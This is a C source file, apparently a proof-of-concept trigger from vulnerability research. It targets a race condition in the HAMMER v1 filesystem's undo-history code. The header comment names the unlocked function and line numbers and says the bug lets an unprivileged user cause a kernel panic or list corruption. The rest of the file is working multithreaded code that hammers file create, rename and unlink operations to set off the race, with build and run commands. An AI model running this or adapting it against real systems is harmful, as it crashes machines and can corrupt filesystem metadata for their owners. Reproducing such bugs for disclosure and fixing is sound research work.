DF-0893 / hammer_race_live.c
/* * DF-0893 live trigger: generate sustained concurrent HAMMER v1 metadata * modifications to force the undo_alloc/LRU-recycle race in * hammer_enter_undo_history() (hammer_undo.c:432-460, called unlocked at * hammer_generate_undo:125 before undo_lock at :133). * * Run as an unprivileged user (maxx) on a HAMMER v1 mount whose root is * chowned to that user. Each file create/unlink/rename touches inode/blockmap * metadata -> hammer_modify_buffer -> hammer_generate_undo -> enter_undo_history. * With enough concurrent frontends the undo history caps (undo_alloc reaches * HAMMER_MAX_UNDOS=1024) and two threads race the LRU recycle or the * undo_alloc++ counter -> KKASSERT(onode==NULL) panic (GENERIC) or TAILQ * corruption (noinv). * * Build: cc -O2 -pthread -o hammer_race_live hammer_race_live.c * Run: ./hammer_race_live /path/to/hammer_mount_owned_by_me */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <pthread.h> #include <sys/stat.h> static const char *root; static int nthreads = 8; static int rounds = 4000; static void * worker(void *arg) { long tid = (long)arg; char dir[512], file[640]; int r, fd; snprintf(dir, sizeof(dir), "%s/t%ld", root, tid); /* try to create our own subdir; ignore EEXIST */ if (mkdir(dir, 0777) && errno != EEXIST) fprintf(stderr, "mkdir(%s): %s\n", dir, strerror(errno)); for (r = 0; r < rounds; r++) { /* create a file (metadata mod: inode alloc, dir entry) */ snprintf(file, sizeof(file), "%s/f%d", dir, r); fd = open(file, O_WRONLY | O_CREAT | O_TRUNC, 0666); if (fd >= 0) { /* write a little data (block alloc -> more metadata) */ (void)write(fd, "x", 1); close(fd); } /* rename it (dir entry mods) */ { char to[640]; snprintf(to, sizeof(to), "%s/r%d", dir, r); rename(file, to); unlink(to); } /* occasionally remove+recreate the subdir to bump btree mods */ if ((r % 64) == 0) { rmdir(dir); mkdir(dir, 0777); } } return NULL; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <hammer_mount_root_writable_by_me>\n", argv[0]); return 2; } root = argv[1]; if (argc > 2) nthreads = atoi(argv[2]); if (argc > 3) rounds = atoi(argv[3]); fprintf(stderr, "DF-0893 live trigger: %d threads x %d rounds on %s\n", nthreads, rounds, root); fflush(stderr); pthread_t *th = calloc(nthreads, sizeof(pthread_t)); long i; for (i = 0; i < nthreads; i++) pthread_create(&th[i], NULL, worker, (void *)i); for (i = 0; i < nthreads; i++) pthread_join(th[i], NULL); fprintf(stderr, "DF-0893 live trigger: completed (no panic this run)\n"); return 0; } |